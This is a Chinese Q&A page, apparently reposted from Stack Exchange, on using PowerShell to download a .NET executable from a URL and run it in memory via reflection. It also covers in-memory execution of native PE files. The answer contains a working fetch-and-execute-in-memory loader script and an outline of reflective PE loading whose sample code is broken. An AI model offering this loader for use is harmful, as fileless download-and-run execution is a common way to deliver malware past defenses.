You need to enable JavaScript to run this app.
优惠活动
大模型
产品
解决方案
定价
更多

PowerShell调用.NET程序集参数不匹配及非.NET程序执行问题

.NET程序集内存加载问题与非.NET程序执行方案

问题描述

  1. 加载WinForm类型的.NET可执行文件时,调用Main方法传入参数出现「parameter number mismatch」错误,传入$null则正常运行
  2. 想了解如何在内存中执行非.NET类型的可执行文件

原测试代码

$ByteArray = (Invoke-WebRequest "https://DOTNETEXEfile.exe").Content

# Base64
 
$Base64String = [System.Convert]::ToBase64String($ByteArray);
$PsEBytes = [System.Convert]::FromBase64String($Base64String)

# Run EXE in memory

$assembly = [System.Reflection.Assembly]::Load($PsEBytes)
# Get the static method that is the executable's entry point.
# Note: 
#   * Assumes 'Program' as the class name, 
#     and a static method named 'Main' as the entry point.
#   * Should there be several classes by that name, the *first* 
#     - public or non-public - type returned is used.
#     If you know the desired type's namespace, use, e.g.
#     $assembly.GetType('MyNameSpace.Program').GetMethod(...)
$entryPointMethod = 
 $assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').
   GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic')

# Now you can call the entry point.
# This example passes two arguments, 'foo' and 'bar'
$entryPointMethod.Invoke($null, (, [string[]] ('foo', 'bar')))

错误信息

PS C:\Users\sadettin\Desktop> C:\Users\sadettin\Desktop\PE.ps1
Exception calling "Invoke" with "2" argument(s): "parameter number mismatch."
At C:\Users\sadettin\Desktop\PE.ps1:25 char:1
+ $entryPointMethod.Invoke($null, (, [string[]] ('foo', 'bar')))
+ ~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~~
    + CategoryInfo          : NotSpecified: (:) [], MethodInvocationException
    + FullyQualifiedErrorId : TargetParameterCountException

解决方案

一、WinForm程序Main方法传参错误修复

原因

WinForm程序的Main方法通常有两种重载:无参数的Main()和带参数的Main(string[] args)。原代码直接获取名为Main的方法,可能拿到的是无参数重载,导致传参时参数数量不匹配。

修正代码

$ByteArray = (Invoke-WebRequest "https://DOTNETEXEfile.exe").Content
$PsEBytes = $ByteArray # 取消冗余的Base64转码,直接使用原始字节数组

$assembly = [System.Reflection.Assembly]::Load($PsEBytes)

# 方案1:通过程序集EntryPoint属性直接获取入口点(推荐,无需依赖类名)
$entryPointMethod = $assembly.EntryPoint

# 方案2:指定参数类型获取带string[]参数的Main方法
# $entryPointMethod = $assembly.GetTypes().Where({ $_.Name -eq 'Program' }, 'First').GetMethod('Main', [Reflection.BindingFlags] 'Static, Public, NonPublic', $null, [Type[]] ([string[]]), $null)

# 根据入口点是否有参数,选择对应调用方式
if ($entryPointMethod.GetParameters().Count -eq 0) {
    $entryPointMethod.Invoke($null, $null)
} else {
    $entryPointMethod.Invoke($null, (, [string[]] ('foo', 'bar')))
}

关键说明

  • 取消冗余的Base64转换:Invoke-WebRequest返回的Content本身就是字节数组,无需转码后再转回
  • 使用EntryPoint属性更可靠:.NET程序集的入口点不一定在Program类,该属性直接指向程序定义的入口方法
  • 增加参数判断:兼容无参数的WinForm程序重载,避免参数不匹配错误

二、非.NET类型可执行文件的内存执行方案

非.NET原生PE文件无法像.NET程序集那样直接反射加载执行,因为原生PE需要操作系统加载器处理重定位、导入表修复等底层操作,常见实现方式有两种:

1. 手动调用Windows API加载

通过反射调用LoadLibraryEx、GetProcAddress等Kernel32 API,手动完成PE文件的内存分配、重定位修复、导入表解析等操作。示例框架如下(仅作演示,实际需完善PE解析逻辑):

# 加载Kernel32程序集
$kernel32 = [System.Reflection.Assembly]::LoadWithPartialName("kernel32")
$loadLibraryEx = $kernel32.GetType("Win32.Kernel32").GetMethod("LoadLibraryEx", [Reflection.BindingFlags] "Public, Static", $null, [Type[]] ([string], [IntPtr], [UInt32]), $null)
$getProcAddress = $kernel32.GetType("Win32.Kernel32").GetMethod("GetProcAddress", [Reflection.BindingFlags] "Public, Static")

# 注:原生PE内存执行需自行解析PE头、处理内存分配与重定位,逻辑复杂且易被安全软件拦截

2. 借助第三方工具/库

可以使用专门的PE内存加载工具(多为C#编写),编译为.NET程序集后在PowerShell中调用。这类工具封装了底层PE解析逻辑,降低实现难度,但需注意合规性与安全风险。


内容的提问来源于stack exchange,提问作者NoobCoding

相关产品推荐
方舟 Agent Plan

超全模态模型 × Harness 升级,最新支持 Deepseek-V4.1-Flash、GLM-5.3 系列、Doubao-Seedream-5.0-pro、Kimi-K3 (部分), 限时 9.9 元起

最近更新时间:2026.08.14 04:01:13